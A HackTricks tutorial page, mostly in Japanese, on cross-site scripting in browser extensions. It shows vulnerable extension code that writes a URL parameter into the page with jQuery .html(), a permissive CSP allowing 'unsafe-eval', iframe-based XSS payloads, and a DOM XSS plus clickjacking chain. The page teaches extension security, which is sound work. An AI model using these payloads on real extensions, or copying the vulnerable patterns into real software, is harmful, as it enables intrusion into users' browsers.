7.9 KiB
BrowExt - XSSの例
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksのスウェグを手に入れる
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦で私をフォローする:@carlospolopm。
- ハッキングトリックを共有するには、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。
クロスサイトスクリプティング(XSS)によるIframe
このセットアップでは、コンテンツスクリプトが実装され、クエリパラメータを含むURLをIframeのソースとして組み込んでいます:
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});
以下は、message.html
という公開されている HTML ページで、URL のパラメータに基づいて動的にコンテンツをドキュメントボディに追加するように設計されています:
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});
悪意のあるスクリプトが敵対者のページで実行され、Iframeのソースのcontent
パラメータを変更してXSSペイロードを導入します。これは、有害なスクリプトを含むようにIframeのソースを更新することで達成されます:
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL;
}, 1000);
過度に許可されたContent Security Policyは次のようなものです:
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
以下は、JavaScriptの実行を許可し、システムをXSS攻撃に対して脆弱にする。
XSSを引き起こす別のアプローチは、Iframe要素を作成し、そのソースをcontent
パラメータとして有害なスクリプトを含めることです。
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
DOM-based XSS + ClickJacking
この例は、元の投稿の解説から取得されました。
問題の核心は、**/html/bookmarks.html
にあるDOMベースのクロスサイトスクリプティング(XSS)脆弱性から発生します。問題のあるJavaScriptは、bookmarks.js
**の一部で以下に詳細が記載されています。
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;
var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
このスニペットは、txtName
入力フィールドから value
を取得し、HTML を生成するために 文字列の連結 を使用し、それを jQuery の .append()
関数を使って DOM に追加します。
通常、Chrome 拡張機能のコンテンツセキュリティポリシー(CSP)は、このような脆弱性を防ぎます。ただし、'unsafe-eval' で CSP の緩和 と jQuery の DOM 操作メソッドの使用(これは globalEval()
を使用してスクリプトを DOM に挿入する際に eval()
に渡す)により、依然として攻撃が可能です。
この脆弱性は重要ですが、その悪用は通常、ユーザーの操作に依存します:ページを訪れ、XSS ペイロードを入力し、「追加」ボタンをアクティブ化する必要があります。
この脆弱性を強化するために、二次的な clickjacking 脆弱性が悪用されます。Chrome 拡張機能のマニフェストには、広範な web_accessible_resources
ポリシーが示されています:
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
Notably, the /html/bookmarks.html
page is prone to framing, thus vulnerable to clickjacking. This vulnerability is leveraged to frame the page within an attacker’s site, overlaying it with DOM elements to redesign the interface deceptively. This manipulation leads victims to interact with the underlying extension unintentionally.
References
- https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/
- https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.